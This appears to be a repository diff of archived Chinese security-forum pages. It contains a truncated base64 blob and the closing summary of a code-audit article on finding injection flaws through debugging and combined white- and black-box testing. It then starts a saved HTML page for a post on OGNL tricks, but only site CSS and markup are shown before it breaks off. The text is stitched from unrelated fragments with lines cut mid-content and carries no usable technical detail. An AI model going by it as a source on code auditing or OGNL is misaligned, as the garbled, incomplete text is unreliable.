I2VRaLRY0N9TJGaa+/119/XZMmTdLu3btHJWAMXNoudXWsD1RcXKyGhoaoj4vPh927d4c87g85o4XQEQAAAAAAjJUBA8727qY8YyEajUVuNF2XJKWlT5MsFmVmzZJhdEg+yRobK8ki+XxqbKjvuTYSgy1RDxRYjVlcXNyzfD2Qf4n6YFWh4Th9+rTWr1/fb4yBQixgrFgkyeeTLOHHnH//7LPDHwsAAAAAAExYltk5OSG77TgcDk1OTh6TSbS0tsrpdIY8N2vmzIieZY2L0/SsWbLFJ8rSHa74fD552zy6cvniqFVuAhPRxUuXBjw3FlWcVIoCAAAAAIABKzjHcj++aI5ltLfr0oXBm/AAGH3DqeIc1hgAAAAAAGBCixnoxK1bt+Qdg2pHr9erW7duhTxnGcVgBMDIDfU76rNY5POFLBIfEZ/PNyrPBQAAAAAA5jNgwOnz+dTU2DiqIYLP51NTc/OAY4zVHqAAhmeo31GLol9l6fP5ZLFY+AcQAAAAAAAgaZCAU5LaOzp0Y4C9MaPhhtM5aIOhuLi4URsbwMjFxg64y0Uvi0U+KSr/WOLz+ViWDgAAAAAAggwacEqSy+VSU3OzOqNYydnZ2ammpia5XK5Br0uIj4/amACiLyEhIazrLIrSlhMWy6ju6QkAAAAAAMwnjPIr6ebNm7p165bSUlMVP8LQsa2tTY1NTTIMY8hr48MMTwCMj4j/EaL7H0p8Cj/w9HU3KrJ0L00HAAAAAAAIFFbAKUmGYehaQ4NiY2MVb7MpPiFB8TbbkEtUOzo61Ob1qu3WLbV5vero6AhrvPj4eMWFs/wVwLiJi4tTfHy82trawrvBH1D6fF0hp88nn8XSE3yGuk7q3seTcBMAAAAAAIQQcYLY0dGhjo4O3XS7R2M+kroqu1JTU0ft+QCiJzUlRVfq6yO6p6cS02IZPLwk1AQAAAAAAEMYcg/O8ZCWmqpYOqgDphAbG6vUlJTxngYAAAAAAJigbruAc8qUKUpMTBzvaQCIwKRJkzTF4RjvaQAAAAAAgAnottnk0mKxKD0tLeyuzABuL8nJyYqNjVVTc7M6OzvHezoAAAAAAGCCuC0Czvj4eKWlpsrKsnTA1BITE5Vps6mxqSn8xkMAAAAAAAAjMOYBZ0xMjGJiYmS1WhUfH6+E+HjFx8eP9TQAjBKr1aqpGRlqa2vTrbY2edva1GEYMgxDvr7d0gEAAAAAAEaoX8Bps9k0adIkxcbGKi42lqpKAMMSzz9eAAAAAACAMRAUcDocDk1OTh6vuQAAAAAAAABARHoCzqlTpyreZhvPuQAAAAAAAABARGIkafLkyYSbAAAAAAAAAEwnxmazyTF58njPAwAAAAAAAAAiFmOfNGm85wAAAAAAAAAAwxIbG9uvkTomqM7OTnm9Xnm9XhmGIZ/Pp87OzvGeFgAAAAAAADCg2Li4uPGeA8ZZe3u73G632tvbx3sqAAAAAAAAQERiY2JixnsOGCcEmwAAAAAAADA71qdPUG1tbWptbR3vaQAAAAAAAAAjQvnmBHTr1i21tLSM9zQAAAAAAACAEaOCc4LxeDy6efOmLBbLgNfEx8fLZrPJarXKv4VBZ2enDMOQ1+tVW1tbVOfk8/kGnQ8AAAAAAAAwEALOCcTr9crlcoUMEy0Wi5KSkpSQkBDyfExMjGJjYxUfHy+73S6PxyOPxyOfzzeiOY30fgAAAAAAAExsBJwTREdHh1paWkKGlzabTXa7XeE2nAoMQ1tbW4fdpIjKTQAAAAAAAIwUe3BOEDdv3ux3zOfzKSkpScnJyWGHm4FiYmI0efJkJSYmRlyJSbgJAAAAAACAaCDgnADa29tDVlnGx8crKSlpREGjxWLRpEmTFB8fP5IpAgAAAAAAAMPCEvUxlpaWpilTpqilpUUNDQ0Line truncated
|
||||
<h2 blockindex=63>0x5 总结</h2>
|
||||
<p blockindex=64>在审计过程中如果时间关系不要紧的话可以采用debug大法一个一个参数跟踪,也可以采用白+黑的方式测试,这样能省一些事,但是还是得对代码漏洞的成因进行分析,因为这样其实能够找到更多漏洞,一个点有注入往往意味着整套程序都有注入。也可以学到一些开发姿势。而且以后在挖src或者其他什么情况没有思路的时候不要放弃任何一个页面(包括404)。</p></div></div>
|
||||
</div>
|
||||
<div class="post-opt mt-30">
|
||||
<ul class="list-inline text-muted">
|
||||
<li>
|
||||
<i class="fa fa-clock-o"></i>
|
||||
发表于 2024-04-25 09:00:01
|
||||
</li>
|
||||
|
||||
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,449 @@
|
||||
<!DOCTYPE html> <html class style><!--
|
||||
Page saved with SingleFile
|
||||
url: https://forum.butian.net/share/2916
|
||||
--><meta charset=utf-8>
|
||||
<meta http-equiv=X-UA-Compatible content="IE=edge">
|
||||
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||
<meta name=csrf-token content=VD0owLiLrat8LaN2vBAqJtnLFngrtZgXtzYM7DqG>
|
||||
<title>奇安信攻防社区-Ognl小trick</title>
|
||||
<meta name=keywords content=奇安信,天眼,补天,漏洞,情报,攻防,安全>
|
||||
<meta name=description content=奇安信攻防社区-Ognl小trick>
|
||||
<meta name=author content="QIANXIN Team">
|
||||
<meta name=copyright content="2021 QIANXIN.com">
|
||||
<style>@media(max-width:767px){}</style>
|
||||
<style>/*!
|
||||
* Bootstrap v3.4.1 (https://getbootstrap.com/)
|
||||
* Copyright 2011-2019 Twitter, Inc.
|
||||
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
|
||||
*//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}a:active,a:hover{outline:0}img{border:0}textarea{color:inherit;font:inherit;margin:0}textarea{overflow:auto}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{-webkit-tap-highlight-color:rgba(0,0,0,0)}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}h1,h2,h3{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h3{margin-top:20px;margin-bottom:10px}h3{font-size:24px}p{margin:0 0 10px}@media(min-width:768px){}ul{margin-top:0;margin-bottom:10px}@media(min-width:768px){}code{color:#c7254e}pre{display:block;margin:0 0 10px;color:#333;word-break:break-all;border:1px solid #ccc}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media(min-width:768px){.container{width:750px}}@media(min-width:992px){.container{width:970px}}@media(min-width:1200px){.container{width:1170px}}.row{margin-right:-15px;margin-left:-15px}.col-xs-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-12{float:left}.col-xs-12{width:100%}@media(min-width:768px){}@media(min-width:992px){.col-md-9{float:left}.col-md-9{width:75%}}@media(min-width:1200px){}@media screen and (max-width:767px){}@media screen and (-webkit-min-device-pixel-ratio:0){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-device-width:480px) and (orientation:landscape){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}@media screen and (min-width:768px){}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@media(min-width:768px){}@media(min-width:992px){}@media all and (transform-3d),(-webkit-transform-3d){}@media screen and (min-width:768px){}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}@-ms-viewport{width:device-width}@media(max-width:767px){}@media(max-width:767px){}@media(max-width:767px){}@media(max-width:767px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(max-width:767px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:1200px){}</style>
|
||||
<style>/*!
|
||||
* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}</style>
|
||||
<style>@media(min-width:1200px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}pre{white-space:pre-wrap}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,"Helvetica Neue",Helvetica,Arial,"PingFang SC","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft Yahei",sans-serif;font-size:14px;line-height:1.5;color:#333;background-color:#f6f6f6;word-break:break-word}textarea{font-family:inherit;font-size:inherit;line-height:inherit}ul{padding:0}.wrap{padding-bottom:30px;position:relative}.main{background-color:#fff;border-radius:4px}.mb-20{margin-bottom:20px}.mt-10{margin-top:10px}.taglist-inline{list-style:none;padding:0;font-size:0}.taglist-inline li{padding:0;font-size:13px}.taglist-inline>li{display:inline-block;margin-right:5px}.taglist-inline>li:last-child{margin-right:0}.widget-article .quote{padding:25px;background:#f3f5f9;line-height:24px;overflow:hidden}@media(min-width:768px){}.word-wrap{word-wrap:break-word;word-break:normal}::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-thumb{background-color:#e4e6eb;outline:0;border-radius:2px}::-webkit-scrollbar-track{box-shadow:none;border-radius:2px}</style>
|
||||
<style>a{text-decoration:none}a:focus,a:hover{color:#004e31;text-decoration:underline}@media(max-width:767px){}@media(max-width:767px){}.tag{display:inline-block;padding:0 8px;color:#017e66;background-color:#e7f2ed;height:24px;line-height:24px;font-weight:400;font-size:13px;text-align:center}.tag[href]:focus,.tag[href]:hover{background-color:#017e66;color:#fff;text-decoration:none}</style>
|
||||
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-keyword{color:#00f}.hljs-string,.hljs-title{color:#a31515}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#fff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body a{background-color:transparent;color:var(--color-accent-fg);text-decoration:none}.markdown-body a:active,.markdown-body a:hover{outline-width:0}.markdown-body h1{margin:.67em 0;padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body a:hover{text-decoration:underline}.markdown-body h1,.markdown-body h2,.markdown-body h3{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-weight:600;font-size:1.25em}.markdown-body ul{padding-left:2em}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body p,.markdown-body ul,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body li+li{margin-top:.25em}.markdown-body code{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body pre code{font-size:100%}.markdown-body pre>code{word-break:normal;white-space:pre;background:transparent}.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code{display:inline;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body ::-webkit-calendar-picker-indicator{-webkit-filter:invert(50%);filter:invert(50%)}</style>
|
||||
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
|
||||
<!--[if lt IE 9]>
|
||||
<script src="/static/js/html5shiv.min.js"></script>
|
||||
<script src="/static/js/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0Line truncated
|
||||
* Font Awesome Free 5.14.0 by @fontawesome - https://fontawesome.com
|
||||
* License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
|
||||
*/</style><style>/*!
|
||||
* Font Awesome Free 5.14.0 by @fontawesome - https://fontawesome.com
|
||||
* License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
|
||||
*/</style><style>/*!
|
||||
* Font Awesome Free 5.14.0 by @fontawesome - https://fontawesome.com
|
||||
* License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
|
||||
*/</style><style>/*!
|
||||
* Font Awesome Free 5.14.0 by @fontawesome - https://fontawesome.com
|
||||
* License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
|
||||
*/@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}</style><meta name=referrer content=no-referrer><link rel=icon href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIEAAACBCAMAAADQfiliAAAAY1BMVEVHcEzNAA/NAA8GNpMGNpPNAA8GNpMGNpPNAA8GNpPNAA/NAA/NAA8GNpMGNpMGNpMGNpMGNpMGNpMGNpMGNpPNAA/NAA/NAA/NAA/NAA8GNpPNAA/NAA/NAA8GNpMGNpPNAA8QvAnvAAAAH3RSTlMAEOCgEKAgQEDwYPAgwIDg0DBgcLCwwFAw0FCAcJCQbb0zfgAAAAlwSFlzAAALEgAACxIB0t1+/AAABD9JREFUeJztmt12qjAQhQEFiiIoakErhvd/yrOACEnIJDFM4OLw3bWFld2ZzUz+vI3/no2NjSXZF2uHO4tWFrA/rSzA211XFhCRtZNwO68sICZrJ+G0dhJisnYS8rWTUJC1k5CvnYSMLJCEMoX/tk+cJ6Gqj4Hizxlxm4SqDpqm+YMfiBKXSUhfj6ZDkYQdcZYE/zN809zhpyLiKAn+4d6MlPCDN+IkCWXYsCh8GBNCyAk5C2V4bHgUPjyRjmyPNnxvfQHYh09CyZ8ow6ey4ZU+zMnA/FSko/UFYB8WhCHJ5gzvH36B4VU+3OeEI4+th7+Dwyt9mBGRm00qptYX8KE325YkYpGKH/XwTROCr05D0PJ1JrQKfqA3I6kAfAWwD3cLKXhBLwIhwFcA+vC0kALQhzEgAF0B6EMoBNgKQB8+IQHYCkAf5kspgHxY8KOenSmAfMi1pNs1KpwpgHw41ON8185MLs6yAPmQtqTz9cL+6ELBAXjnTUhyK4apIf9hYio4Aj6M8jc7zNvdtwD3ZRaxMmAqqEzev4jTFEQFD5PX92fiTgHkQ46bKABRAeRDjutEAKICEx/KWjSeAgMfyibLeApMfDhxIaoCAx/Kp6pYCgx8WEgFoCnQ+3BSipAVKLauesRVK7aCX+1701KEq0DmQy4s8jUjnoKj+JR/uB9ZVeBqAUtBzT1